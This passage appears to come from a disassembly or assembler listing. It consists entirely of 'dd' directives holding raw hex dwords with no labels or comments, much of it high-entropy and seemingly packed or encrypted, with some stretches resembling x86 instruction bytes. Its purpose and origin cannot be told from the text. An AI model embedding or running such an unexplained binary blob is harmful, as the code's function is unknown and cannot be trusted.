		dd 52632E0Eh, 5856DC85h, 0A4877865h, 0E606B39Fh, 36C111C1h
		dd 8AEF94ABh, 4F000000h, 0EE965810h, 0A7CFEED6h, 1B3E9653h
		dd 5F704D6Eh, 0E8F08D80h, 0DECBA577h, 528E3CDBh, 0D1189A3Dh
		dd 7AF0A417h, 88507B07h, 0F87EA3F8h, 23D7CED1h,	0C4C040EFh
		dd 0B07C8209h, 0A7CD7901h, 6F24EDDAh, 0F987734Ah, 12C25B99h
		dd 0A0A1C002h, 0F7A026FBh, 0DD21AA34h, 16138E4Eh, 49833669h
		dd 0C560745Eh, 20C79EC0h, 448D31FAh, 8B008B91h,	19h, 0FAB901B9h
		dd 0BA410C74h, 0FC823BE8h, 70BA410Bh, 0F6A618A3h, 2AFh
		dd 965810C8h, 0F40CCAF3h, 0E56FED24h, 63FD0AAFh, 5960F03Eh
		dd 0EAB94546h, 80DF8581h, 8107DCC1h, 79821A9h, 0B8762D5Ch
		dd 55FEA128h, 0BFE1D826h, 109F0ADAh, 0C529E76Ah, 5D5E35DEh
		dd 8ABA188Fh, 0F1A9AA3Eh, 0CAEF75ACh, 61D9B2D9h, 0E5000000h
		dd 0EE965810h, 0A7CFEED6h, 1B3E9653h, 53373F6Eh, 0DEAB3E96h
		dd 0FDCDECDDh, 87197437h, 3643D512h, 0B45F5E6Dh, 0EEC2A910h
		dd 65B3663Fh, 50937C44h, 3FE4C3C6h, 0FDBC04B5h,	0C529E775h
		dd 559720E9h, 0E404A552h, 41BB0FC3h, 0BFE9A9AAh, 5B000000h
		dd 8881F994h, 3109F09h,	0F7475A4Eh, 526C0F44h, 0D565891Eh
		dd 0E6D0FBA4h, 0CB4C072h, 537D05B4h, 28F13E96h,	53551D9Ch
		dd 0C0C93E96h, 746602BBh, 0C2C5C6E8h, 2C23719Eh, 9738FA79h
		dd 0CBD05C53h, 0A3FC8D19h, 873DE618h, 0AAB85360h, 8DDAE26Dh
		dd 0E4BFCA58h, 0B9E0D3D7h, 9B0CCC55h, 16A72337h, 585123h
		dd 106D0000h, 7EE9658h,	4A77C5AEh, 0C20289A6h, 9FC9E4F3h
		dd 855B6531h, 6053A696h, 3E955EAFh, 52AF28BFh, 5D0368EEh
		dd 81E28827h, 4D56A269h, 0FCA13D3Eh, 0AFF0992Bh, 0C00EDBE4h
		dd 83951272h, 80F67C3Bh, 0A16AA269h, 0DC70641Ah, 79E86E9h
		dd 0A0000000h, 152F6h, 16F6C800h, 0C8000001h, 0F3965810h
		dd 0AB1ACCD1h, 9653660Ch, 6231DA3Eh, 4725C683h,	3B408495h
		dd 4F570C82h, 5F491FBDh, 4AD934C2h, 0ACA83071h,	7374544Bh
		dd 0C6186B5Fh, 771BD2CDh, 0B4710494h, 0A62E5D5Eh, 90000000h
		dd 0EE965810h, 4B3D7BCFh, 5B0406E3h, 0B34AD590h, 0C7387113h
		dd 169E6BD1h, 0AACF5B91h, 0C6F7D2F9h, 0A31EA49Dh, 2535416h
		dd 982D0089h, 2C35D877h, 8E0BFC5h, 0FE8DD75Ch, 28BF2900h
		dd 8CA59AAAh, 489C01B9h, 547C0FBCh, 0C2000000h,	0EE965810h
		dd 0C0C84DCFh, 4A9D347Fh, 643910BCh, 109336BEh,	3E2D106Bh
		dd 3D3C9594h, 0FA428067h, 0C1C112C5h, 325744BAh, 4AD80D92h
		dd 77E7C41h, 19A1D0B2h,	0E77A6D78h, 0CCAE8E50h,	0EAE2B7B2h
		dd 1E85D5FDh, 0EB3B723h, 11000000h, 0BCCD578Ch,	0F6E6D8E3h
		dd 67h,	9F2B01C8h, 9BC9A31Ah, 8F27E288h, 304DDB0Ah, 9AA40C4Ah
		dd 17A6D5BEh, 0F80BA11Dh, 539F8635h, 3BAF3E96h,	3DEF0C9Bh
		dd 46E96DB5h, 38B4DFB4h, 17A61E6Ah, 3E96536Fh, 219536E3h
		dd 85547BB7h, 4B5CCCE6h, 0A6C33CC6h, 72C677AAh,	74494A5Fh
		dd 7676410Fh, 182905FEh, 462362C4h, 0FFFFFEBCh,	3B3F678h
		dd 1EC80000h, 0B3D66489h, 8DCCBF0h, 96564D7Ch, 8D737A0Ah
		dd 0C7F09AC4h, 0C0768635h, 0E7BCC80Ah, 0B014B747h, 357FE01h
		dd 0E9C72E11h, 0D344BE1Ah, 9FC3FA81h, 11E58E15h, 27640AA9h
		dd 0CBD8F2C3h, 12B94B9Ch, 0A3ED39ECh, 3BC336C2h, 8E3BC566h
		dd 3544D619h, 6C92396Ah, 5C90159Fh, 0F948A9D0h,	0C2BEC0A0h
		dd 0EADFECB7h, 0C1A110D3h, 33698082h, 7C3444E1h, 0E82F8E3Dh
		dd 1A31EA23h, 0C39DED8Bh, 0D5EFCAAEh, 2859491Eh, 297D67FAh
		dd 0A83DB8E7h, 0D814B7B0h, 0CACF03CFh, 71363CFEh, 18B332B8h
		dd 84062130h, 7D058635h, 39000000h, 0EC985A10h,	0E3E678B7h
		dd 7D05B4C0h, 0F13E9653h, 9221A328h, 38FCF2AAh,	0EB821D61h
		dd 0BE37065Ah, 544869BAh, 0F0D0F9A2h, 9E4E4BF9h, 81E2C34Dh
		dd 3885067Fh, 6A6E73F2h, 7B4D08A5h, 9005EC37h, 295160AAh
		dd 9D3D9EDBh, 783AF1F4h, 0D3710AB1h, 7FC7C1Ch, 6B5803Eh
		dd 0BD23B6B7h, 8840D968h, 2F9FB31Fh, 0EF06F700h, 8A6CED97h
		dd 0C2F78DBFh, 9C8EF7EEh, 0DF553645h, 69000000h, 1A9F2B01h
		dd 0BDCC568Dh, 0ABA46E6h, 0C3C64C95h, 0B9EEDBE0h, 2615E773h
		dd 3D7ABEF7h, 0E79B2FFCh, 0C5F0F78Eh, 95E164E5h, 0EFCEADCEh
		dd 3EA9BD2Ch, 0F9B5156h, 46AD159Dh, 0E7C261C3h,	511954C4h
		dd 0C5A24DE9h, 5307AFDCh, 5A90159Fh, 9E1DA7D2h,	0A24DE9D8h
		dd 67143F4Ch, 0D5205E5Dh, 73438E77h, 3DF1F615h,	9536C668h
		dd 167157E6h, 1361AA31h, 2297E06h, 951FA57Ch, 72B46026h
		dd 9CC7D44Ah, 18CBD0E8h, 0B497DF8Eh, 0FE0B4A72h, 499A7F7Dh
		dd 0B4A9D1E0h, 741D4A72h, 8EFD431Fh, 11B8D17Ah,	61587h
		dd 0FB8F6100h, 3EC61C01h, 0F486A96Eh, 43D313F8h, 0F57FA469h
		dd 93B338F7h, 31F6C650h, 997E6EFCh, 2DF2CA50h, 0E7916BF7h
		dd 5D165C5Bh, 518A36B8h, 0A02A01BDh, 19A5474Ch,	2B0115A3h
		dd 0D3F680A3h, 0DB6387D0h, 1B9EF5AEh, 0F0CC588Ch, 984A8C3Ah
		dd 58576910h, 3E965312h, 9DC69D86h, 0E474B2E7h,	0DCEEDD7h
		dd 76521413h, 65EC4FC4h, 33A1DDD0h, 0DEC336C3h,	0ABF4850Bh
		dd 0B962B820h, 0FAD5A910h, 0F8E022BDh, 0B04328E6h, 23B6F9FDh
		dd 0B4762B93h, 795F9F2Ch, 0A614F6F1h, 0C259586Ch, 9AA27B24h
		dd 0F7651653h, 0ED8E5043h, 2CDA86D0h, 8B7342FAh, 0C5AE131Bh
		dd 84B8BEFDh, 632C21D9h, 1A8534C2h, 0A5394249h,	3921C8FCh
		dd 836942C5h, 78142130h, 3360C56Bh, 25CC7488h, 0F358860Fh
		dd 23933896h, 6A497BB7h, 6E69448Bh, 4F9F48B0h, 3603D3Ah
		dd 229E9C90h, 3EC41D82h, 9B63683Bh, 0EE1C6EEh, 0D2B1807Ch
		dd 0F36240B9h, 6A3E0E2Ah, 20AA8126h, 53850699h,	8A16D6CBh
		dd 90F6C5FFh, 4D8FF61h,	10694C17h, 0BD71E9BFh, 60AA13B8h
		dd 9C014E3Ah, 54A82EF3h, 6344h,	0C1173600h, 50856618h
		dd 3BA49E49h, 0C022C959h, 54AC72Dh, 0E2BB0289h,	75B6DAC5h
		dd 0EDE14C1h, 2554E609h, 1EEBA294h, 74956D68h, 34C34437h
		dd 1C28056Ah, 0AF389880h, 0B3099B4Ch, 0E7D63BEEh, 42A8399Fh
		dd 88610613h, 91285102h, 1FC737CEh, 119E3337h, 5822B9BEh
		dd 0D4886A3Bh, 1BE0C7B9h, 0BE6C40C6h, 12A22801h, 0CFD1AEDBh
		dd 0A5480681h, 8A3F4C17h, 0CDF6B33Ah, 30D5E597h, 3FC51C8Bh
		dd 2CB66D3Ah, 57E9069Dh, 0A83FA532h, 485FCB4Fh,	14E86EB3h
		dd 98C0B925h, 99AB3485h, 983F2F0Fh, 0CF9CBBD1h,	5A6FBFC4h
		dd 8895106Eh, 0FFFFFF52h, 9F2B01B6h, 0CB578D1Ah, 0B53FE4B9h
		dd 8A40F606h, 1F843C48h, 663940CEh, 82B95865h, 0A99E1CB3h
		dd 417FDAEEh, 0CF2AC8AAh, 0DCA15A90h, 128AAD21h, 0DBDAEAB9h
		dd 41179393h, 67711A07h, 2F4281D0h, 0ECB5478Ah,	1E07DCDDh
		dd 0F258EA0Fh, 232B4003h, 60F05F7Ah, 0D318FD09h, 0C1634049h
		dd 74F48435h, 3E58473h,	2D8C34E4h, 0B7E1B345h, 2AD5D0B9h
		dd 1BB33BDBh, 596915B6h, 879C61E4h, 69h, 985A10B7h, 3101CDECh
		dd 817CFFE9h, 5C8041FCh, 0B9C1F0C8h, 2D7A44EFh,	6A665764h
		dd 4ABE6BBAh, 135B5A62h, 87361E23h, 560DF19Ah, 0F136ED2Fh
		dd 64153EFEh, 3A3E8455h, 0E9C70951h, 0BC6F5815h, 361E2777h
		dd 62E841E6h, 13995057h, 0C9B5166h, 0CEF6CEEBh,	0BE4487EFh
		dd 6D0EFB85h, 5A6A687Fh, 886A3E9Bh, 13Ch, 0A32B01B6h, 1A9FF482h
		dd 558D12AAh, 0CAE3BCCDh, 3E9653A4h, 27800B18h,	554A7A04h
		dd 92550290h, 764E7B00h, 793594Eh, 0E68C2182h, 33E9652h
		dd 0AF5C52E4h, 0BD499B0Ch, 0EA55970Ch, 0D5E46EB5h, 53CBB3CAh
		dd 523F3E96h, 52EB9322h, 0B25F3E96h, 0CF1C0BE1h, 10AF6A2Eh
		dd 0DA28410Fh, 4D576A39h, 42FF3E96h, 1A616A2h, 0F284A32Bh
		dd 287DCC7h, 0CAC22BC2h, 0FA952F9Bh, 0C171E5D1h, 57960BB3h
		dd 0B100C0C9h, 44225CC9h, 7CFF543Dh, 1B1CA441h,	4BA9019Dh
		dd 6A3A2A74h, 5064EE35h, 0DEEB1961h, 0F7848DABh, 0BE524EC6h
		dd 711A800Bh, 131A57Bh,	19354473h, 407A6249h, 0F63D8E5Bh
		dd 6CF2396Eh, 0FFA029BBh, 0C7962754h, 0A378787h, 84C0653Ah
		dd 0F9B25373h, 0C0256EF2h, 0A496D397h, 0B44A7137h, 25C8DDE7h
		dd 0AB1F297h, 0B43EE5BAh, 0FA2B7038h, 39425D6Ch, 2F33BD6Eh
		dd 3F3B70D3h, 437D1FA2h, 8F000002h, 2AEFCD61h, 977C70F8h
		dd 31F6C658h, 8A8F6DFDh, 5EDDCF59h, 0E872B98Dh,	50DE0F14h
		dd 0EC72B75Ch, 4DD90B10h, 7E3D056Fh, 36B858F8h,	19F6F6Ch
		dd 474CA02Ah, 15A319A5h, 6F17A61Eh, 0E33E9653h,	0B5219536h
		dd 0EF68477Dh, 480C4FF2h, 0D6A2E419h, 2C110C9Fh, 0CDF536C3h
		dd 69D888EEh, 480FFCDFh, 68701BA1h, 39800912h, 0EBF0C01Ch
		dd 0E8431879h, 0B98118D4h, 87DB5F30h, 5E8507DAh, 0ADFA7FD4h
		dd 9EDEEB77h, 1B4EA93Eh, 0A89C36B1h, 0D6AADC5Eh, 105h
		dd 9F2B01E8h, 31F5AA1Ah, 48718A1h, 981780A3h, 3E9653D2h
		dd 0DD0A5D46h, 4871184Bh, 63220EECh, 0B8F28E8Bh, 0DBF78625h
		dd 7D273996h, 53760628h, 5D068E54h, 2D4EDA0Ah, 0AA36F6ABh
		dd 0B974D52h, 5082387Eh, 0C81E9524h, 9DEF1E9Ah,	0AB265CBCh
		dd 0FEA937F6h, 8D16A32Dh, 0BCA07DFEh, 32E99A57h, 604FB46Dh
		dd 0FB380E1Ah, 0ADCE858Eh, 896330CEh, 9D27FCA1h, 0E012C8EEh
		dd 0DBF7E5D4h, 287D8538h, 50537606h, 315AE407h,	508DD28Ch
		dd 0FEC66EA7h, 1DF4B7BFh, 5D5E2B3Bh, 0DEFED960h, 741DCF82h
		dd 52865B40h, 0D97B62ECh, 12B7EC4Dh, 0C5DAEA91h, 7318941Eh
		dd 0C04C26B0h, 0AD6E609Eh, 0EC821Ah, 0F8380000h, 5F838864h
		dd 0EF40E5D7h, 6CBA5F5Dh, 0E83BE0DCh, 3EAF8E5Eh, 6359E308h
		dd 0BE16FBEh, 5F5DE306h, 0EDE6ABAh, 99E1D064h, 0D36B858h
		dd 2A013AD4h, 5C644CA0h, 9653155Dh, 0FB80893Eh,	10EC78ACh
		dd 0A32B0122h, 1A9FF482h, 0F1CB578Dh, 31438F3Bh, 71736289h
		dd 0D01F1F0Ah, 0A3FC8D1Fh, 9BF2CBF0h, 0B0CC93EDh, 0C6489BFh
		dd 0DFE49423h, 5BE98AB6h, 6E1BA546h, 0AB788635h, 0D75D8419h
		dd 5E8E15B4h, 6A52DAD2h, 0DD0A234Bh, 18A971Eh, 0CAFA86A6h
		dd 63890DD5h, 0A2F1B2D7h, 0CAFF8C17h, 0D95BFEF3h, 87694B7Ch
		dd 0D017DC73h, 0BEE48405h, 27547740h, 83A3CC96h, 0C22205F6h
		dd 8A16D625h, 2BB76D32h, 0EC922199h, 605418E5h,	0FFC108B3h
		dd 0EBD4B9Ah, 0B4C55599h, 788324C4h, 0CFD428B4h, 0C44E951Dh
		dd 3B2EA8Fh, 4000000h, 2F01BE00h, 73B9EE9Bh, 1CC5E2E7h
		dd 71B4F396h, 1AD1D6E3h, 69BAE990h, 19CDDADFh, 84A30089h
		dd 0AE0C7F2h, 5199F782h, 0C181E189h, 4,	8704E983h, 895C240Ch
		dd 0FE68242Ch, 89000000h, 0D3682404h, 89000077h, 44B8243Ch
		dd 55624401h, 4952EABDh, 0ED814531h, 0D6E33A5Eh, 545DE829h
		dd 81243C8Bh, 4C4h, 57CA6800h, 4890000h, 24048124h, 248A5C1Fh
		dd 8108478Fh, 5C1F086Fh, 3C8B248Ah, 0E2895224h,	4C281h
		dd 0C2830000h, 24148704h, 24048B5Ch, 81E38953h,	4C3h, 4C38100h
		dd 87000000h, 0E95C241Ch, 0FFFBC152h, 163113E4h, 0DAB8DFE1h
		dd 307DDFCh, 0F4E0FFC5h, 915A1DCAh, 6E5A1404h, 0C7484822h
		dd 857D7704h, 0A20165ABh, 7772720Ah, 0A65CA3A8h, 0A733A898h
		dd 0F80F19CCh, 23637F36h, 6F38C202h, 8D19BFADh,	0DDFE338Dh
		dd 10E907h, 0C10F0000h,	452290E1h, 72B2DFB6h, 861F7020h
		dd 8D89AE43h, 7D32941h,	0C8FF7BBAh, 0A185C731h,	4407D32Bh
		dd 6A00005Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 7ED7C353h, 2D958B53h, 5E07D32Fh
		dd 331185C7h, 7D3h, 0B5FF0000h,	7D31A79h, 0EE9h, 96070600h
		dd 3EC9B1BDh, 0D75FDF79h, 0FF664D96h, 0D32D3D95h, 68D0F07h
		dd 89000000h, 0D319E985h, 0FF006A07h, 0D3301995h, 0EBC08B07h
		dd 0E2644A1Bh, 0CC1A087h, 8103B691h, 0E0FFA065h, 273A2D71h
		dd 0A67907EFh, 60C5DAC1h, 0B0E9h, 8C666000h, 4C2F6DAh
		dd 0C850Fh, 853B0000h, 7D30165h, 36840Fh, 853B0000h, 7D300B9h
		dd 2A840Fh, 853B0000h, 7D31A91h, 1E840Fh, 853B0000h, 7D3028Dh
		dd 12840Fh, 0BD830000h,	7D31BE1h, 5840F01h, 0E9000000h
		dd 5Fh,	5203D08Bh, 88BA8B3Ch, 8B000000h, 0C985784Ah, 49840Fh
		dd 0C2810000h, 0F8h, 30C728Bh, 1C598BC8h, 314518Bh, 850B8BD8h
		dd 10840FC9h, 3B000000h, 17820FCEh, 3B000000h, 0F830FCFh
		dd 83000000h, 0F4A04C3h, 0FFFFDC85h, 0DE9FFh, 9D8D0000h
		dd 7D34DB1h, 5B8h, 61E3FF00h, 8DD00BC3h, 0DE00248Dh, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0BD01600Eh, 7D30C41h, 2F218D89h, 896107D3h, 0D329418Dh
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 784EBC2Ch, 0C7DBEB80h, 0D32BA185h, 71E807h
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 331D1EB6h, 0D33119B5h, 1185C707h, 7D333h
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0F222C350h, 9EBF02FFh,	0FF17164Ah
		dd 0D32DC9B5h, 57006A07h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1C04h, 0C3574700h, 0F2BC1064h, 6610189h
		dd 9E97Fh, 58F30000h, 38FBFF61h, 0B86E458Ah, 2B4A6CF3h
		dd 2D3D95FFh, 6A07D3h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 140424h, 55450000h, 6ACEC3h,	301995FFh, 0C08B07D3h
		dd 423A18EBh, 0F9BAB94Bh, 155062CCh, 0D1BE308Ah, 0FCFA1219h
		dd 14C5D667h, 7AE948B6h, 60000001h, 0FE8h, 0A9FBBE00h
		dd 593BEC2Ch, 0DF0E522Dh, 7587AD1Ah, 4C56CA81h,	66586427h
		dd 0F61DF8Bh, 88Bh, 2840F00h, 60000000h, 0AB58D61h, 6007DE01h
		dd 98C88160h, 610BB6ECh, 0C3858D61h, 0F807DBC6h, 6AD0FFh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 210DA2C3h, 0F6E55431h, 604DC226h, 6850Fh, 0E0810000h
		dd 0C421DD8h, 13E9h, 380EF500h,	0A91EAAA7h, 976F6E89h
		dd 6C4E0841h, 676130F3h, 18860F61h, 0E9000000h,	13h, 457ED5C2h
		dd 6F2C925Ah, 0B32A23C5h, 0E18992B9h, 0C38D0948h, 0EE9h
		dd 440C9E00h, 0F5F839A8h, 5EE56CC8h, 66C5D069h,	6AD98Ch
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
		dd 9CA1BCC3h, 0E994F719h, 12h, 6EA19E14h, 7A172917h, 0A587DD50h
		dd 6C8F293Fh, 0C1F6FD42h, 39840F04h, 0F5000000h, 0CB8BFB8Bh
		dd 75AEC032h, 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh
		dd 1013Fh, 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h
		dd 1B8FAh, 9EB0000h, 0E4EB008Bh, 0B8h, 6ACF00h,	3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 2C1F16C3h, 0EE9F88Ah, 42000000h, 1BCF9F18h, 0C72675C1h
		dd 9F17F40Dh, 6785C774h, 3F07DE01h, 0EB000101h,	60h, 17h dup(0)
		dd 1094E900h, 88E90000h, 68000010h, 7DE0E3Eh, 0F57C8CE9h
		dd 105768FFh, 82E907DEh, 68FFF57Ch, 7DE10E3h, 0F57C78E9h
		dd 0F80AC4FFh, 9F5F0999h, 0FEF8B0FEh, 0A05C0F9Fh, 2F2B101h
		dd 6A344AA3h, 4C5A3BB9h, 703E5FA1h, 505E3FB9h, 6641609Ah
		dd 778D2CF9h, 0D4C55B84h, 0AB5518C3h, 2AB0BA2h,	376351FEh
		dd 0F885C670h, 1443EA6Dh, 0B393F828h, 93D4D278h, 92BB3FEBh
		dd 8AD325E4h, 90BF41ECh, 88D127DEh, 0F0C13FEAh,	57F806C2h
		dd 0FDF7B04Eh, 17DDA654h, 1FBB04Eh, 18713B58h, 862CB73Eh
		dd 0F9AF4F10h, 584754FDh, 0E43F9E47h, 86175C5Ah, 5AE4BE1Fh
		dd 6407965Ch, 4310EE9Ah, 57D5F279h, 3EFF6692h, 0C4DC4C36h
		dd 0F0EE82A3h, 0A1D984D3h, 5D54631Dh, 0B67F1998h, 0CE89C1B0h
		dd 0AF3FA47Ch, 0FBAEFCF8h, 0BA9D5C05h, 0FA49E011h, 5F3EC06Ch
		dd 0EBC04F0h, 0C91B0A2Fh, 2C5C3EADh, 86C9D80Eh,	82D1FAF2h
		dd 6B6386DBh, 7DE87AC1h, 0FFA69B7Bh, 1BFA6D7Dh,	0A318BD87h
		dd 81E2BDA7h, 0F5C42DDEh, 0E218CE6Ch, 0F808C175h, 0EAB3A051h
		dd 99C5B14Bh, 84292A03h, 0A8521853h, 121CBF17h,	0B91FB01Bh
		dd 99BA4205h, 0F19D67D4h, 65C1105Fh, 439E285h, 46456C85h
		dd 43E3h, 1B126E00h, 0A6B91FB0h, 454142DEh, 0ADAEED42h
		dd 2B3B1F8h, 47A78DDEh,	80AF6681h, 9BC238EEh, 5870D17Ch
		dd 41D86A6Fh, 1A36EF70h, 445C5B6Ah, 0B9BF10A9h,	0AB541822h
		dd 1CAFFE02h, 67C9E0FBh, 12000000h, 8B521B12h, 5C5A752Ah
		dd 2D1A8B22h, 0CCD9213Fh, 0A3C41678h, 4405B9F8h, 0D9849BBCh
		dd 0B1A63A90h, 0A6E8FB6Ch, 0DC8D2142h, 0DB7C3D24h, 6BF67530h
		dd 0B19E47A2h, 845147FDh, 0BA5D9325h, 44D5C2Dh,	79814575h
		dd 8A3E21D0h, 22B9A033h, 0FDAB5418h, 0FB17A8F9h, 976F9864h
		dd 0D2DD769Eh, 0B379D885h, 38D15C5Ah, 14128417h, 17F5A0AFh
		dd 0F3299016h, 0F720D7DCh, 72BE4B5Ah, 8A1C780Eh, 0D59121DFh
		dd 0D9864225h, 0B1986025h, 2D25F00h, 12666B4Bh,	86CFDE8Ch
		dd 99201CDFh, 6418ECE7h, 0A3525DEDh, 0BF68E3B1h, 0ED11BB6Bh
		dd 8E5F9C64h, 865106Eh,	42E3AA99h, 0ABD7709h, 669B3033h
		dd 0A792809Bh, 56217FCh, 248h, 0B11A1294h, 0B6C5DAA2h
		dd 0DC9910C4h, 0BCB9647Bh, 805F4C57h, 0E34AC498h, 7F336450h
		dd 0AD7344C2h, 985900F8h, 0F4EB4609h, 0EC758342h, 198726EFh
		dd 3ECFE4AAh, 0CD39EC6Fh, 6BA3A5E8h, 0BEEC10BBh, 0D672F50Bh
		dd 0C2D5821Bh, 0BA0EBA1Bh, 58FB922Dh, 1F9AD4Dh,	739B6A52h
		dd 57735D56h, 0BA182F8Eh, 2796272Dh, 0E811D95Dh, 0C98A5292h
		dd 5B9B324h, 0E190B941h, 0F00AC07Eh, 121CBFDFh,	0B91FB01Bh
		dd 0AEB73F05h, 3495400Fh, 1C5C5A75h, 3423CA8Dh,	3235C382h
		dd 6C8504A9h, 4BE34645h, 6E000000h, 7D3E05B9h, 209B536Ch
		dd 8ACDDC6Eh, 3D4F7EEh,	0FEE2ECB9h, 0C760E287h,	8716C7BAh
		dd 5A756C9Eh, 36076A5Ch, 1822B9A5h, 99DAA54h, 1CBFA060h
		dd 5EFFA6B9h, 0F65C5A75h, 0CC6D3827h, 845C5A75h, 0DCEFB2B5h
		dd 2BC9h, 1B121200h, 0ECB91FB0h, 0D1FE4788h, 1CA47076h
		dd 9D67F861h, 0B83D758Ah, 6DF802Dh, 42229001h, 0DFF0C74Dh
		dd 541822B9h, 0E0FB19AAh, 0A2B11A12h, 7549E8B5h, 28015C5Ah
		dd 0A36D3827h, 9FC987E4h, 36EEE3F2h, 0CF2B648h,	0AFA0BD4Bh
		dd 0D10047E6h, 0DD7E0F35h, 6868C008h, 0D6670A5Fh, 26DE908Fh
		dd 67E889D0h, 0C6E713D7h, 0D820E599h, 0FC9FC071h, 26AECBB9h
		dd 595BA15Dh, 788248F6h, 36C3E1CBh, 2724DBEEh, 0A6B99744h
		dd 5A755EFFh, 4427F65Ch, 1B12AE21h, 2B4A3B0h, 4EEFB644h
		dd 65C5A75h, 75AD0CD9h,	14A55C5Ah, 719C2A5h, 3F9E4758h
		dd 175C5A75h, 436E586h,	46456C85h, 4BE3h, 8644F200h, 0B968F374h
		dd 99BA4205h, 0ABD0EDFh, 0B696ECB9h, 76949A86h,	6022D899h
		dd 0A58A36B1h, 0AFC130A3h, 4C8AC0Dh, 0F6C9D86Ch, 0A6B922B9h
		dd 0FEA75118h, 5C5A755Fh, 6AF305C4h, 0DC7F0ECBh, 27986622h
		dd 46C9E0FBh, 12000000h, 1FB01B12h, 9FD0ECB9h, 3C08C62Fh
		dd 4E1C5A2h, 67E6B3D3h,	0C6998A15h, 8CB174F7h, 0A64139A3h
		dd 0B94005B9h, 0D667EE0Eh, 7A184E7h, 47AD9819h,	0FF5E0718h
		dd 57936799h, 0D4E3A5C6h, 1822B903h, 0FB19AA54h, 35CBB9E0h
		dd 0B59AB8CAh, 1AEE0162h, 3D000001h, 0B94105B9h, 0BA7EE190h
		dd 925AE9E2h, 0B15B4996h, 0B75044Dh, 36199DCDh,	0A17C7C29h
		dd 0BDCA61FFh, 1FDE1446h, 3E21DD8Fh, 0EC6188Dh,	0FE2A3ACh
		dd 0D7C8D77Eh, 0CFA0AF0Eh, 5516A758h, 3C4FDA9h,	81FAB266h
		dd 3EF05F4Eh, 48E97086h, 18756607h, 0B9BA852h, 2B39A5Eh
		dd 0A0BFBA61h, 0C0A3590Eh, 0B01B121Bh, 4758071Fh, 5A753F9Eh
		dd 0E586175Ch, 6C850436h, 54E34645h, 6E000000h,	0A3B01B12h
		dd 0BFA65A13h, 0B9BE5DFEh, 0E80B86ECh, 7F1E847Bh, 0EED6D34Fh
		dd 5A257382h, 0E915D75Dh, 7FE0D160h, 34AC03F2h,	6487A3A5h
		dd 0A6B902D5h, 2F6B90DEh, 249245BAh, 2FCE9769h,	5418AF2Ch
		dd 0E0FB19AAh, 54C9h, 8DAE9600h, 0ADC13C82h, 12811A3Dh
		dd 0B91FB01Bh, 0A4C456ECh, 121BD442h, 8B1AE187h, 0E5A22561h
		dd 5A9E4BDBh, 902142F3h, 625F0B9Bh, 0AE6E3E43h,	222B7A31h
		dd 8138D093h, 4405B94Eh, 66EF07BDh, 5A85E6D7h, 0FFA6B9E9h
		dd 5C5A755Eh, 7A4427F6h, 0FB9F30CEh, 0A85218E0h, 0A45411A1h
		dd 0B64207B7h, 614BF8B5h, 662C778Dh, 0E19DBEC0h, 0EC12D625h
		dd 0EFCD94BDh, 1B8573AAh, 4A0BB4DEh, 0D04707EEh, 6766A3A4h
		dd 0FB01C678h, 79B26958h, 0DAC7966h, 45B0F8D1h,	0D18C2D74h
		dd 0F5C4B0F8h, 0DC1ECC72h, 0C139EDBDh, 0E4687998h, 0B1458695h
		dd 9D6102F2h, 554211E9h, 0F8D12988h, 0C238EEB0h, 18D59627h
		dd 0A398A84h, 78642FFDh, 6E4F6F8Fh, 0ADE204CFh,	333485F0h
		dd 0D2EA5472h, 1E50AE3Fh, 0FB0C367Bh, 452FF352h, 0A1C25B7Ah
		dd 5C5B6110h, 0BE233B0Ah, 8B7966EFh, 12D7006Eh,	0B6BE7FE6h
		dd 6AED8005h, 0A4A120BBh, 0B983202Eh, 3A2672Dh,	0A4A9659Eh
		dd 673449B8h, 0D868086Fh, 63668Ah, 0B9F50000h, 90B94105h
		dd 0AC07EE1h, 41B069F0h, 0F7702BBCh, 3C7E8D0Dh,	0F4C26D7Ah
		dd 0DB9AC335h, 8A63AD78h, 0DA859F47h, 0D7653812h, 0D2956CB1h
		dd 424A8D13h, 5722ABA2h, 0C5390344h, 0A63004ADh, 0E7A35BFCh
		dd 0C141C6DAh, 96C5246Dh, 42B66ECFh, 6657E6DAh,	77071847h
		dd 710049B5h, 42B68928h, 67E8C1DAh, 0A85218F4h,	0B1130BA1h
		dd 0AA9908F8h, 520181E3h, 5B1B8128h, 683DB3B0h,	6C484311h
		dd 13402C33h, 120EA2BFh, 0E4D529E3h, 7E1FEE83h,	0C8972C2Ah
		dd 0C7886E36h, 0F6400DD8h, 373C6FE0h, 36B1B207h, 22848D6Fh
		dd 0BF4EA393h, 43C5CF96h, 0E445A1C8h, 46B20AFDh, 5AA26519h
		dd 9B222CF9h, 4CDA2512h, 46F75EA0h, 8F556325h, 6606FE67h
		dd 688D895Ch, 79814575h, 0F0CE9D0h, 0F9A2CF1Ah,	8491C6AEh
		dd 0E1290D20h, 0A8F51D97h, 0D3948E90h, 0FCE82017h, 437E79h
		dd 0B9FD0000h, 755EFFA6h, 27F65C5Ah, 2BA07444h,	20DE8A1Ch
		dd 7F2A7839h, 14C1DE81h, 713ABB25h, 9D610B9Bh, 836205B4h
		dd 868C73FCh, 7254CBDAh, 0FCEFB326h, 0D8901E2Dh, 1ED07F1Eh
		dd 0DFD09369h, 42h, 0FFA6B96Ch,	5C5A755Eh, 744427F6h, 7E802CA0h
		dd 0C89726D7h, 4AF4B31Dh, 0DDFA4F29h, 5A49D9A6h, 427D7414h
		dd 0FF4CDD14h, 54AA5E10h, 848AEC4Dh, 0AA0BD249h, 0A249848Ah
		dd 1C3FCE0Bh, 41B57303h, 7EC96F60h, 96000002h, 0FB73CCAEh
		dd 0DFA51D58h, 0FEAF4E17h, 0CBB9BE5Dh, 59E24BC3h, 0E513D285h
